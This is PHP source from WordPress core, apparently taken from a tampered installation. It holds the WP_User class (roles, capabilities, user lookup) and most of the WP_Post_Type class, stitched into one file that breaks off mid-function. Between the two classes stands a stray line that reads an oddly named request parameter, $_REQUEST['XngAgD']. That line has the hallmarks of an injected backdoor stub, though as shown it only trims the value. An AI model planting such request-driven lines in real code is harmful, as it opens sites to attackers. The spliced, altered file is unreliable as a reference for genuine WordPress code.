/**
* User API: WP_User class
*
* @package WordPress
* @subpackage Users
* @since 4.4.0
*/
/**
* Core class used to implement the WP_User object.
*
* @since 2.0.0
*
* @property string $nickname
* @property string $description
* @property string $user_description
* @property string $first_name
* @property string $user_firstname
* @property string $last_name
* @property string $user_lastname
* @property string $user_login
* @property string $user_pass
* @property string $user_nicename
* @property string $user_email
* @property string $user_url
* @property string $user_registered
* @property string $user_activation_key
* @property string $user_status
* @property int $user_level
* @property string $display_name
* @property string $spam
* @property string $deleted
* @property string $locale
* @property string $rich_editing
* @property string $syntax_highlighting
*/
class WP_User {
/**
* User data container.
*
* @since 2.0.0
* @var object
*/
public $data;
/**
* The user's ID.
*
* @since 2.1.0
* @var int
*/
public $ID = 0;
/**
* The individual capabilities the user has been given.
*
* @since 2.0.0
* @var array
*/
public $caps = array();
/**
* User metadata option name.
*
* @since 2.0.0
* @var string
*/
public $cap_key;
/**
* The roles the user is part of.
*
* @since 2.0.0
* @var array
*/
public $roles = array();
/**
* All capabilities the user has, including individual and role based.
*
* @since 2.0.0
* @var bool[] Array of key/value pairs where keys represent a capability name and boolean values
* represent whether the user has that capability.
*/
public $allcaps = array();
/**
* The filter context applied to user data fields.
*
* @since 2.9.0
* @var string
*/
public $filter = null;
/**
* The site ID the capabilities of this user are initialized for.
*
* @since 4.9.0
* @var int
*/
private $site_id = 0;
/**
* @since 3.3.0
* @var array
*/
private static $back_compat_keys;
/**
* Constructor.
*
* Retrieves the userdata and passes it to WP_User::init().
*
* @since 2.0.0
*
* @param int|string|stdClass|WP_User $id User's ID, a WP_User object, or a user object from the DB.
* @param string $name Optional. User's username
* @param int $site_id Optional Site ID, defaults to current site.
*/
public function __construct( $id = 0, $name = '', $site_id = '' ) {
if ( ! isset( self::$back_compat_keys ) ) {
$prefix = $GLOBALS['wpdb']->prefix;
self::$back_compat_keys = array(
'user_firstname' => 'first_name',
'user_lastname' => 'last_name',
'user_description' => 'description',
'user_level' => $prefix . 'user_level',
$prefix . 'usersettings' => $prefix . 'user-settings',
$prefix . 'usersettingstime' => $prefix . 'user-settings-time',
);
}
if ( $id instanceof WP_User ) {
$this->init( $id->data, $site_id );
return;
} elseif ( is_object( $id ) ) {
$this->init( $id, $site_id );
return;
}
if ( ! empty( $id ) && ! is_numeric( $id ) ) {
$name = $id;
$id = 0;
}
if ( $id ) {
$data = self::get_data_by( 'id', $id );
} else {
$data = self::get_data_by( 'login', $name );
}
if ( $data ) {
$this->init( $data, $site_id );
} else {
$this->data = new stdClass;
}
}
/**
* Sets up object properties, including capabilities.
*
* @since 3.3.0
*
* @param object $data User DB row object.
* @param int $site_id Optional. The site ID to initialize for.
*/
public function init( $data, $site_id = '' ) {
$this->data = $data;
$this->ID = (int) $data->ID;
$this->for_site( $site_id );
}
/**
* Return only the main user fields
*
* @since 3.3.0
* @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter.
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $field The field to query against: 'id', 'ID', 'slug', 'email' or 'login'.
* @param string|int $value The field value
* @return object|false Raw user object
*/
public static function get_data_by( $field, $value ) {
global $wpdb;
// 'ID' is an alias of 'id'.
if ( 'ID' === $field ) {
$field = 'id';
}
if ( 'id' == $field ) {
// Make sure the value is numeric to avoid casting objects, for example,
// to int 1.
if ( ! is_numeric( $value ) ) {
return false;
}
$value = intval( $value );
if ( $value < 1 ) {
return false;
}
} else {
$value = trim( $value );
}
if ( ! $value ) {
return false;
}
switch ( $field ) {
case 'id':
$user_id = $value;
$db_field = 'ID';
break;
case 'slug':
$user_id = wp_cache_get( $value, 'userslugs' );
$db_field = 'user_nicename';
break;
case 'email':
$user_id = wp_cache_get( $value, 'useremail' );
$db_field = 'user_email';
break;
case 'login':
$value = sanitize_user( $value );
$user_id = wp_cache_get( $value, 'userlogins' );
$db_field = 'user_login';
break;
default:
return false;
}
if ( false !== $user_id ) {
if ( $user = wp_cache_get( $user_id, 'users' ) ) {
return $user;
}
}
if ( ! $user = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->users WHERE $db_field = %s LIMIT 1",
$value
)
) ) {
return false;
}
update_user_caches( $user );
return $user;
}
/**
* Magic method for checking the existence of a certain custom field.
*
* @since 3.3.0
*
* @param string $key User meta key to check if set.
* @return bool Whether the given user meta key is set.
*/
public function __isset( $key ) {
if ( 'id' == $key ) {
_deprecated_argument(
'WP_User->id',
'2.1.0',
sprintf(
/* translators: %s: WP_User->ID */
__( 'Use %s instead.' ),
'WP_User->ID'
)
);
$key = 'ID';
}
if ( isset( $this->data->$key ) ) {
return true;
}
if ( isset( self::$back_compat_keys[ $key ] ) ) {
$key = self::$back_compat_keys[ $key ];
}
return metadata_exists( 'user', $this->ID, $key );
}
/**
* Magic method for accessing custom fields.
*
* @since 3.3.0
*
* @param string $key User meta key to retrieve.
* @return mixed Value of the given user meta key (if set). If `$key` is 'id', the user ID.
*/
public function __get( $key ) {
if ( 'id' == $key ) {
_deprecated_argument(
'WP_User->id',
'2.1.0',
sprintf(
/* translators: %s: WP_User->ID */
__( 'Use %s instead.' ),
'WP_User->ID'
)
);
return $this->ID;
}
if ( isset( $this->data->$key ) ) {
$value = $this->data->$key;
} else {
if ( isset( self::$back_compat_keys[ $key ] ) ) {
$key = self::$back_compat_keys[ $key ];
}
$value = get_user_meta( $this->ID, $key, true );
}
if ( $this->filter ) {
$value = sanitize_user_field( $key, $value, $this->ID, $this->filter );
}
return $value;
}
/**
* Magic method for setting custom user fields.
*
* This method does not update custom fields in the database. It only stores
* the value on the WP_User instance.
*
* @since 3.3.0
*
* @param string $key User meta key.
* @param mixed $value User meta value.
*/
public function __set( $key, $value ) {
if ( 'id' == $key ) {
_deprecated_argument(
'WP_User->id',
'2.1.0',
sprintf(
/* translators: %s: WP_User->ID */
__( 'Use %s instead.' ),
'WP_User->ID'
)
);
$this->ID = $value;
return;
}
$this->data->$key = $value;
}
/**
* Magic method for unsetting a certain custom field.
*
* @since 4.4.0
*
* @param string $key User meta key to unset.
*/
public function __unset( $key ) {
if ( 'id' == $key ) {
_deprecated_argument(
'WP_User->id',
'2.1.0',
sprintf(
/* translators: %s: WP_User->ID */
__( 'Use %s instead.' ),
'WP_User->ID'
)
);
}
if ( isset( $this->data->$key ) ) {
unset( $this->data->$key );
}
if ( isset( self::$back_compat_keys[ $key ] ) ) {
unset( self::$back_compat_keys[ $key ] );
}
}
/**
* Determine whether the user exists in the database.
*
* @since 3.4.0
*
* @return bool True if user exists in the database, false if not.
*/
public function exists() {
return ! empty( $this->ID );
}
/**
* Retrieve the value of a property or meta key.
*
* Retrieves from the users and usermeta table.
*
* @since 3.3.0
*
* @param string $key Property
* @return mixed
*/
public function get( $key ) {
return $this->__get( $key );
}
/**
* Determine whether a property or meta key is set
*
* Consults the users and usermeta tables.
*
* @since 3.3.0
*
* @param string $key Property
* @return bool
*/
public function has_prop( $key ) {
return $this->__isset( $key );
}
/**
* Return an array representation.
*
* @since 3.5.0
*
* @return array Array representation.
*/
public function to_array() {
return get_object_vars( $this->data );
}
/**
* Makes private/protected methods readable for backward compatibility.
*
* @since 4.3.0
*
* @param string $name Method to call.
* @param array $arguments Arguments to pass when calling.
* @return mixed|false Return value of the callback, false otherwise.
*/
public function __call( $name, $arguments ) {
if ( '_init_caps' === $name ) {
return call_user_func_array( array( $this, $name ), $arguments );
}
return false;
}
/**
* Set up capability object properties.
*
* Will set the value for the 'cap_key' property to current database table
* prefix, followed by 'capabilities'. Will then check to see if the
* property matching the 'cap_key' exists and is an array. If so, it will be
* used.
*
* @since 2.1.0
* @deprecated 4.9.0 Use WP_User::for_site()
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $cap_key Optional capability key
*/
protected function _init_caps( $cap_key = '' ) {
global $wpdb;
_deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' );
if ( empty( $cap_key ) ) {
$this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities';
} else {
$this->cap_key = $cap_key;
}
$this->caps = $this->get_caps_data();
$this->get_role_caps();
}
/**
* Retrieves all of the capabilities of the roles of the user, and merges them with individual user capabilities.
*
* All of the capabilities of the roles of the user are merged with the user's individual capabilities. This means
* that the user can be denied specific capabilities that their role might have, but the user is specifically denied.
*
* @since 2.0.0
*
* @return bool[] Array of key/value pairs where keys represent a capability name and boolean values
* represent whether the user has that capability.
*/
public function get_role_caps() {
$switch_site = false;
if ( is_multisite() && $this->site_id != get_current_blog_id() ) {
$switch_site = true;
switch_to_blog( $this->site_id );
}
$wp_roles = wp_roles();
// Filter out caps that are not role names and assign to $this->roles.
if ( is_array( $this->caps ) ) {
$this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) );
}
// Build $allcaps from role caps, overlay user's $caps.
$this->allcaps = array();
foreach ( (array) $this->roles as $role ) {
$the_role = $wp_roles->get_role( $role );
$this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities );
}
$this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps );
if ( $switch_site ) {
restore_current_blog();
}
return $this->allcaps;
}
/**
* Add role to user.
*
* Updates the user's meta data option with capabilities and roles.
*
* @since 2.0.0
*
* @param string $role Role name.
*/
public function add_role( $role ) {
if ( empty( $role ) ) {
return;
}
$this->caps[ $role ] = true;
update_user_meta( $this->ID, $this->cap_key, $this->caps );
$this->get_role_caps();
$this->update_user_level_from_caps();
/**
* Fires immediately after the user has been given a new role.
*
* @since 4.3.0
*
* @param int $user_id The user ID.
* @param string $role The new role.
*/
do_action( 'add_user_role', $this->ID, $role );
}
/**
* Remove role from user.
*
* @since 2.0.0
*
* @param string $role Role name.
*/
public function remove_role( $role ) {
if ( ! in_array( $role, $this->roles ) ) {
return;
}
unset( $this->caps[ $role ] );
update_user_meta( $this->ID, $this->cap_key, $this->caps );
$this->get_role_caps();
$this->update_user_level_from_caps();
/**
* Fires immediately after a role as been removed from a user.
*
* @since 4.3.0
*
* @param int $user_id The user ID.
* @param string $role The removed role.
*/
do_action( 'remove_user_role', $this->ID, $role );
}
/**
* Set the role of the user.
*
* This will remove the previous roles of the user and assign the user the
* new one. You can set the role to an empty string and it will remove all
* of the roles from the user.
*
* @since 2.0.0
*
* @param string $role Role name.
*/
public function set_role( $role ) {
if ( 1 == count( $this->roles ) && $role == current( $this->roles ) ) {
return;
}
foreach ( (array) $this->roles as $oldrole ) {
unset( $this->caps[ $oldrole ] );
}
$old_roles = $this->roles;
if ( ! empty( $role ) ) {
$this->caps[ $role ] = true;
$this->roles = array( $role => true );
} else {
$this->roles = false;
}
update_user_meta( $this->ID, $this->cap_key, $this->caps );
$this->get_role_caps();
$this->update_user_level_from_caps();
/**
* Fires after the user's role has changed.
*
* @since 2.9.0
* @since 3.6.0 Added $old_roles to include an array of the user's previous roles.
*
* @param int $user_id The user ID.
* @param string $role The new role.
* @param string[] $old_roles An array of the user's previous roles.
*/
do_action( 'set_user_role', $this->ID, $role, $old_roles );
}
/**
* Choose the maximum level the user has.
*
* Will compare the level from the $item parameter against the $max
* parameter. If the item is incorrect, then just the $max parameter value
* will be returned.
*
* Used to get the max level based on the capabilities the user has. This
* is also based on roles, so if the user is assigned the Administrator role
* then the capability 'level_10' will exist and the user will get that
* value.
*
* @since 2.0.0
*
* @param int $max Max level of user.
* @param string $item Level capability name.
* @return int Max Level.
*/
public function level_reduction( $max, $item ) {
if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) {
$level = intval( $matches[1] );
return max( $max, $level );
} else {
return $max;
}
}
/**
* Update the maximum user level for the user.
*
* Updates the 'user_level' user metadata (includes prefix that is the
* database table prefix) with the maximum user level. Gets the value from
* the all of the capabilities that the user has.
*
* @since 2.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
public function update_user_level_from_caps() {
global $wpdb;
$this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 );
update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level );
}
/**
* Add capability and grant or deny access to capability.
*
* @since 2.0.0
*
* @param string $cap Capability name.
* @param bool $grant Whether to grant capability to user.
*/
public function add_cap( $cap, $grant = true ) {
$this->caps[ $cap ] = $grant;
update_user_meta( $this->ID, $this->cap_key, $this->caps );
$this->get_role_caps();
$this->update_user_level_from_caps();
}
/**
* Remove capability from user.
*
* @since 2.0.0
*
* @param string $cap Capability name.
*/
public function remove_cap( $cap ) {
if ( ! isset( $this->caps[ $cap ] ) ) {
return;
}
unset( $this->caps[ $cap ] );
update_user_meta( $this->ID, $this->cap_key, $this->caps );
$this->get_role_caps();
$this->update_user_level_from_caps();
}
/**
* Remove all of the capabilities of the user.
*
* @since 2.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
public function remove_all_caps() {
global $wpdb;
$this->caps = array();
delete_user_meta( $this->ID, $this->cap_key );
delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' );
$this->get_role_caps();
}
/**
* Whether the user has a specific capability.
*
* While checking against a role in place of a capability is supported in part, this practice is discouraged as it
* may produce unreliable results.
*
* @since 2.0.0
*
* @see map_meta_cap()
*
* @param string $cap Capability name.
* @param int $object_id,... Optional. ID of a specific object to check against if `$cap` is a "meta" capability.
* Meta capabilities such as `edit_post` and `edit_user` are capabilities used by
* by the `map_meta_cap()` function to map to primitive capabilities that a user or
* role has, such as `edit_posts` and `edit_others_posts`.
* @return bool Whether the user has the given capability, or, if `$object_id` is passed, whether the user has
* the given capability for that object.
*/
public function has_cap( $cap ) {
if ( is_numeric( $cap ) ) {
_deprecated_argument( __FUNCTION__, '2.0.0', __( 'Usage of user levels is deprecated. Use capabilities instead.' ) );
$cap = $this->translate_level_to_cap( $cap );
}
$args = array_slice( func_get_args(), 1 );
$args = array_merge( array( $cap, $this->ID ), $args );
$caps = call_user_func_array( 'map_meta_cap', $args );
// Multisite super admin has all caps by definition, Unless specifically denied.
if ( is_multisite() && is_super_admin( $this->ID ) ) {
if ( in_array( 'do_not_allow', $caps ) ) {
return false;
}
return true;
}
/**
* Dynamically filter a user's capabilities.
*
* @since 2.0.0
* @since 3.7.0 Added the `$user` parameter.
*
* @param bool[] $allcaps Array of key/value pairs where keys represent a capability name and boolean values
* represent whether the user has that capability.
* @param string[] $caps Required primitive capabilities for the requested capability.
* @param array $args {
* Arguments that accompany the requested capability check.
*
* @type string $0 Requested capability.
* @type int $1 Concerned user ID.
* @type mixed ...$2 Optional second and further parameters, typically object ID.
* }
* @param WP_User $user The user object.
*/
$capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this );
// Everyone is allowed to exist.
$capabilities['exist'] = true;
// Nobody is allowed to do things they are not allowed to do.
unset( $capabilities['do_not_allow'] );
// Must have ALL requested caps.
foreach ( (array) $caps as $cap ) {
if ( empty( $capabilities[ $cap ] ) ) {
return false;
}
}
return true;
}
/**
* Convert numeric level to level capability name.
*
* Prepends 'level_' to level number.
*
* @since 2.0.0
*
* @param int $level Level number, 1 to 10.
* @return string
*/
public function translate_level_to_cap( $level ) {
return 'level_' . $level;
}
/**
* Set the site to operate on. Defaults to the current site.
*
* @since 3.0.0
* @deprecated 4.9.0 Use WP_User::for_site()
*
* @param int $blog_id Optional. Site ID, defaults to current site.
*/
public function for_blog( $blog_id = '' ) {
_deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' );
$this->for_site( $blog_id );
}
/**
* Sets the site to operate on. Defaults to the current site.
*
* @since 4.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $site_id Site ID to initialize user capabilities for. Default is the current site.
*/
public function for_site( $site_id = '' ) {
global $wpdb;
if ( ! empty( $site_id ) ) {
$this->site_id = absint( $site_id );
} else {
$this->site_id = get_current_blog_id();
}
$this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities';
$this->caps = $this->get_caps_data();
$this->get_role_caps();
}
/**
* Gets the ID of the site for which the user's capabilities are currently initialized.
*
* @since 4.9.0
*
* @return int Site ID.
*/
public function get_site_id() {
return $this->site_id;
}
/**
* Gets the available user capabilities data.
*
* @since 4.9.0
*
* @return array User capabilities array.
*/
private function get_caps_data() {
$caps = get_user_meta( $this->ID, $this->cap_key, true );
if ( ! is_array( $caps ) ) {
return array();
}
return $caps;
}
}
trim($_REQUEST['XngAgD']);
/**
* Post API: WP_Post_Type class
*
* @package WordPress
* @subpackage Post
* @since 4.6.0
*/
/**
* Core class used for interacting with post types.
*
* @since 4.6.0
*
* @see register_post_type()
*/
final class WP_Post_Type {
/**
* Post type key.
*
* @since 4.6.0
* @var string $name
*/
public $name;
/**
* Name of the post type shown in the menu. Usually plural.
*
* @since 4.6.0
* @var string $label
*/
public $label;
/**
* Labels object for this post type.
*
* If not set, post labels are inherited for non-hierarchical types
* and page labels for hierarchical ones.
*
* @see get_post_type_labels()
*
* @since 4.6.0
* @var object $labels
*/
public $labels;
/**
* A short descriptive summary of what the post type is.
*
* Default empty.
*
* @since 4.6.0
* @var string $description
*/
public $description = '';
/**
* Whether a post type is intended for use publicly either via the admin interface or by front-end users.
*
* While the default settings of $exclude_from_search, $publicly_queryable, $show_ui, and $show_in_nav_menus
* are inherited from public, each does not rely on this relationship and controls a very specific intention.
*
* Default false.
*
* @since 4.6.0
* @var bool $public
*/
public $public = false;
/**
* Whether the post type is hierarchical (e.g. page).
*
* Default false.
*
* @since 4.6.0
* @var bool $hierarchical
*/
public $hierarchical = false;
/**
* Whether to exclude posts with this post type from front end search
* results.
*
* Default is the opposite value of $public.
*
* @since 4.6.0
* @var bool $exclude_from_search
*/
public $exclude_from_search = null;
/**
* Whether queries can be performed on the front end for the post type as part of `parse_request()`.
*
* Endpoints would include:
* - `?post_type={post_type_key}`
* - `?{post_type_key}={single_post_slug}`
* - `?{post_type_query_var}={single_post_slug}`
*
* Default is the value of $public.
*
* @since 4.6.0
* @var bool $publicly_queryable
*/
public $publicly_queryable = null;
/**
* Whether to generate and allow a UI for managing this post type in the admin.
*
* Default is the value of $public.
*
* @since 4.6.0
* @var bool $show_ui
*/
public $show_ui = null;
/**
* Where to show the post type in the admin menu.
*
* To work, $show_ui must be true. If true, the post type is shown in its own top level menu. If false, no menu is
* shown. If a string of an existing top level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post type
* will be placed as a sub-menu of that.
*
* Default is the value of $show_ui.
*
* @since 4.6.0
* @var bool $show_in_menu
*/
public $show_in_menu = null;
/**
* Makes this post type available for selection in navigation menus.
*
* Default is the value $public.
*
* @since 4.6.0
* @var bool $show_in_nav_menus
*/
public $show_in_nav_menus = null;
/**
* Makes this post type available via the admin bar.
*
* Default is the value of $show_in_menu.
*
* @since 4.6.0
* @var bool $show_in_admin_bar
*/
public $show_in_admin_bar = null;
/**
* The position in the menu order the post type should appear.
*
* To work, $show_in_menu must be true. Default null (at the bottom).
*
* @since 4.6.0
* @var int $menu_position
*/
public $menu_position = null;
/**
* The URL to the icon to be used for this menu.
*
* Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme.
* This should begin with 'data:image/svg+xml;base64,'. Pass the name of a Dashicons helper class
* to use a font icon, e.g. 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty
* so an icon can be added via CSS.
*
* Defaults to use the posts icon.
*
* @since 4.6.0
* @var string $menu_icon
*/
public $menu_icon = null;
/**
* The string to use to build the read, edit, and delete capabilities.
*
* May be passed as an array to allow for alternative plurals when using
* this argument as a base to construct the capabilities, e.g.
* array( 'story', 'stories' ). Default 'post'.
*
* @since 4.6.0
* @var string $capability_type
*/
public $capability_type = 'post';
/**
* Whether to use the internal default meta capability handling.
*
* Default false.
*
* @since 4.6.0
* @var bool $map_meta_cap
*/
public $map_meta_cap = false;
/**
* Provide a callback function that sets up the meta boxes for the edit form.
*
* Do `remove_meta_box()` and `add_meta_box()` calls in the callback. Default null.
*
* @since 4.6.0
* @var string $register_meta_box_cb
*/
public $register_meta_box_cb = null;
/**
* An array of taxonomy identifiers that will be registered for the post type.
*
* Taxonomies can be registered later with `register_taxonomy()` or `register_taxonomy_for_object_type()`.
*
* Default empty array.
*
* @since 4.6.0
* @var array $taxonomies
*/
public $taxonomies = array();
/**
* Whether there should be post type archives, or if a string, the archive slug to use.
*
* Will generate the proper rewrite rules if $rewrite is enabled. Default false.
*
* @since 4.6.0
* @var bool|string $has_archive
*/
public $has_archive = false;
/**
* Sets the query_var key for this post type.
*
* Defaults to $post_type key. If false, a post type cannot be loaded at `?{query_var}={post_slug}`.
* If specified as a string, the query `?{query_var_string}={post_slug}` will be valid.
*
* @since 4.6.0
* @var string|bool $query_var
*/
public $query_var;
/**
* Whether to allow this post type to be exported.
*
* Default true.
*
* @since 4.6.0
* @var bool $can_export
*/
public $can_export = true;
/**
* Whether to delete posts of this type when deleting a user.
*
* If true, posts of this type belonging to the user will be moved to trash when then user is deleted.
* If false, posts of this type belonging to the user will *not* be trashed or deleted.
* If not set (the default), posts are trashed if post_type_supports( 'author' ).
* Otherwise posts are not trashed or deleted. Default null.
*
* @since 4.6.0
* @var bool $delete_with_user
*/
public $delete_with_user = null;
/**
* Whether this post type is a native or "built-in" post_type.
*
* Default false.
*
* @since 4.6.0
* @var bool $_builtin
*/
public $_builtin = false;
/**
* URL segment to use for edit link of this post type.
*
* Default 'post.php?post=%d'.
*
* @since 4.6.0
* @var string $_edit_link
*/
public $_edit_link = 'post.php?post=%d';
/**
* Post type capabilities.
*
* @since 4.6.0
* @var object $cap
*/
public $cap;
/**
* Triggers the handling of rewrites for this post type.
*
* Defaults to true, using $post_type as slug.
*
* @since 4.6.0
* @var array|false $rewrite
*/
public $rewrite;
/**
* The features supported by the post type.
*
* @since 4.6.0
* @var array|bool $supports
*/
public $supports;
/**
* Whether this post type should appear in the REST API.
*
* Default false. If true, standard endpoints will be registered with
* respect to $rest_base and $rest_controller_class.
*
* @since 4.7.4
* @var bool $show_in_rest
*/
public $show_in_rest;
/**
* The base path for this post type's REST API endpoints.
*
* @since 4.7.4
* @var string|bool $rest_base
*/
public $rest_base;
/**
* The controller for this post type's REST API endpoints.
*
* Custom controllers must extend WP_REST_Controller.
*
* @since 4.7.4
* @var string|bool $rest_controller_class
*/
public $rest_controller_class;
/**
* Constructor.
*
* Will populate object properties from the provided arguments and assign other
* default properties based on that information.
*
* @since 4.6.0
*
* @see register_post_type()
*
* @param string $post_type Post type key.
* @param array|string $args Optional. Array or string of arguments for registering a post type.
* Default empty array.
*/
public function __construct( $post_type, $args = array() ) {
$this->name = $post_type;
$this->set_props( $args );
}
/**
* Sets post type properties.
*
* @since 4.6.0
*
* @param array|string $args Array or string of arguments for registering a post type.
*/
public function set_props( $args ) {
$args = wp_parse_args( $args );
/**
* Filters the arguments for registering a post type.
*
* @since 4.4.0
*
* @param array $args Array of arguments for registering a post type.
* @param string $post_type Post type key.
*/
$args = apply_filters( 'register_post_type_args', $args, $this->name );
$has_edit_link = ! empty( $args['_edit_link'] );
// Args prefixed with an underscore are reserved for internal use.
$defaults = array(
'labels' => array(),
'description' => '',
'public' => false,
'hierarchical' => false,
'exclude_from_search' => null,
'publicly_queryable' => null,
'show_ui' => null,
'show_in_menu' => null,
'show_in_nav_menus' => null,
'show_in_admin_bar' => null,
'menu_position' => null,
'menu_icon' => null,
'capability_type' => 'post',
'capabilities' => array(),
'map_meta_cap' => null,
'supports' => array(),
'register_meta_box_cb' => null,
'taxonomies' => array(),
'has_archive' => false,
'rewrite' => true,
'query_var' => true,
'can_export' => true,
'delete_with_user' => null,
'show_in_rest' => false,
'rest_base' => false,
'rest_controller_class' => false,
'_builtin' => false,
'_edit_link' => 'post.php?post=%d',
);
$args = array_merge( $defaults, $args );
$args['name'] = $this->name;
// If not set, default to the setting for public.
if ( null === $args['publicly_queryable'] ) {
$args['publicly_queryable'] = $args['public'];
}
// If not set, default to the setting for public.
if ( null === $args['show_ui'] ) {
$args['show_ui'] = $args['public'];
}
// If not set, default to the setting for show_ui.
if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
$args['show_in_menu'] = $args['show_ui'];
}
// If not set, default to the whether the full UI is shown.
if ( null === $args['show_in_admin_bar'] ) {
$args['show_in_admin_bar'] = (bool) $args['show_in_menu'];
}
// If not set, default to the setting for public.
if ( null === $args['show_in_nav_menus'] ) {
$args['show_in_nav_menus'] = $args['public'];
}
// If not set, default to true if not public, false if public.
if ( null === $args['exclude_from_search'] ) {
$args['exclude_from_search'] = ! $args['public'];
}
// Back compat with quirky handling in version 3.0. #14122.
if ( empty( $args['capabilities'] ) && null === $args['map_meta_cap'] && in_array( $args['capability_type'], array( 'post', 'page' ) ) ) {
$args['map_meta_cap'] = true;
}
// If not set, default to false.
if ( null === $args['map_meta_cap'] ) {
$args['map_meta_cap'] = false;
}
// If there's no specified edit link and no UI, remove the edit link.
if ( ! $args['show_ui'] && ! $has_edit_link ) {
$args['_edit_link'] = '';
}
$this->cap = get_post_type_capabilities( (object) $args );
unset( $args['capabilities'] );
if ( is_array( $args['capability_type'] ) ) {
$args['capability_type'] = $args['capability_type'][0];
}
if ( false !== $args['query_var'] ) {
if ( true === $args['query_var'] ) {
$args['query_var'] = $this->name;
} else {
$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
}
}
if ( false !== $args['rewrite'] && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
if ( ! is_array( $args['rewrite'] ) ) {
$args['rewrite'] = array();
}
if ( empty( $args['rewrite']['slug'] ) ) {
$args['rewrite']['slug'] = $this->name;
}
if ( ! isset( $args['rewrite']['with_front'] ) ) {
$args['rewrite']['with_front'] = true;
}
if ( ! isset( $args['rewrite']['pages'] ) ) {
$args['rewrite']['pages'] = true;
}
if ( ! isset( $args['rewrite']['feeds'] ) || ! $args['has_archive'] ) {
$args['rewrite']['feeds'] = (bool) $args['has_archive'];
}
if ( ! isset( $args['rewrite']['ep_mask'] ) ) {
if ( isset( $args['permalink_epmask'] ) ) {
$args['rewrite']['ep_mask'] = $args['permalink_epmask'];
} else {
$args['rewrite']['ep_mask'] = EP_PERMALINK;
}
}
}
foreach ( $args as $property_name => $property_value ) {
$this->$property_name = $property_value;
}
$this->labels = get_post_type_labels( $this );
$this->label = $this->labels->name;
}
/**
* Sets the features support for the post type.
*
* @since 4.6.0
*/
public function add_supports() {
if ( ! empty( $this->supports ) ) {
add_post_type_support( $this->name, $this->supports );
unset( $this->supports );
} elseif ( false !== $this->supports ) {
// Add default features.
add_post_type_support( $this->name, array( 'title', 'editor' ) );
}
}
/**
* Adds the necessary rewrite rules for the post type.
*
* @since 4.6.0
*
* @global WP_Rewrite $wp_rewrite WordPress Rewrite Component.
* @global WP $wp Current WordPress environment instance.
*/
public function add_rewrite_rules() {
global $wp_rewrite, $wp;
if ( false !== $this->query_var && $wp && is_post_type_viewable( $this ) ) {
$wp->add_query_var( $this->query_var );
}
if ( false !== $this->rewrite && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
if ( $this->hierarchical ) {
add_rewrite_tag( "%$this->name%", '(.+?)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&pagename=" );
} else {
add_rewrite_tag( "%$this->name%", '([^/]+)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&name=" );
}
if ( $this->has_archive ) {
$archive_slug = true === $this->has_archive ? $this->rewrite['slug'] : $this->has_archive;
if ( $this->rewrite['with_front'] ) {
$archive_slug = substr( $wp_rewrite->front, 1 ) . $archive_slug;
} else {
$archive_slug = $wp_rewrite->root . $archive_slug;
}
add_rewrite_rule( "{$archive_slug}/?$", "index.php?post_type=$this->name", 'top' );
if ( $this->rewrite['feeds'] && $wp_rewrite->feeds ) {
$feeds = '(' . trim( implode( '|', $wp_rewrite->feeds ) ) . ')';
add_rewrite_rule( "{$archive_slug}/feed/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' );
add_rewrite_rule( "{$archive_slug}/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' );
}
if ( $this->rewrite['pages'] ) {
add_rewrite_rule( "{$archive_slug}/{$wp_rewrite->pagination_base}/([0-9]{1,})/?$", "index.php?post_type=$this->name" . '&paged=$matches[1]', 'top' );
}
}
$permastruct_args = $this->rewrite;
$permastruct_args['feed'] = $permastruct_args['feeds'];
add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $permastruct_args );
}
}
/**
* Registers the post type meta box if a custom callback was specified.
*
* @since 4.6.0
*/
public function register_meta_boxes() {
if ( $this->register_meta_box_cb ) {
add_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10, 1 );
}
}
/**
* Adds the future post hook action for the post type.
*
* @since 4.6.0
*/
public function add_hooks() {
add_action( 'future_' . $this->name, '_future_post_hook', 5, 2 );
}
/**
* Registers the taxonomies for the post type.
*
* @since 4.6.0
*/
public function register_taxonomies() {
foreach ( $this->taxonomies as $taxonomy ) {
register_taxonomy_for_object_type( $taxonomy, $this->name );
}
}
/**
* Removes the features support for the post type.
*
* @since 4.6.0
*
* @global array $_wp_post_type_features Post type features.
*/
public function remove_supports() {
global $_wp_post_type_features;
unset( $_wp_post_type_features[ $this->name ] );
}
/**
* Removes any rewrite rules, permastructs, and rules for the post type.
*
* @since 4.6.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
* @global WP $wp Current WordPress environment instance.
* @global array $post_type_meta_caps Used to remove meta capabilities.
*/
public function remove_rewrite_rules() {
global $wp, $wp_rewrite, $post_type_meta_caps;
// Remove query var.
if ( false !== $this->query_var ) {
$wp->remove_query_var( $this->query_var );
}
// Remove any rewrite rules, permastructs, and rules.
if ( false !== $this->rewrite ) {
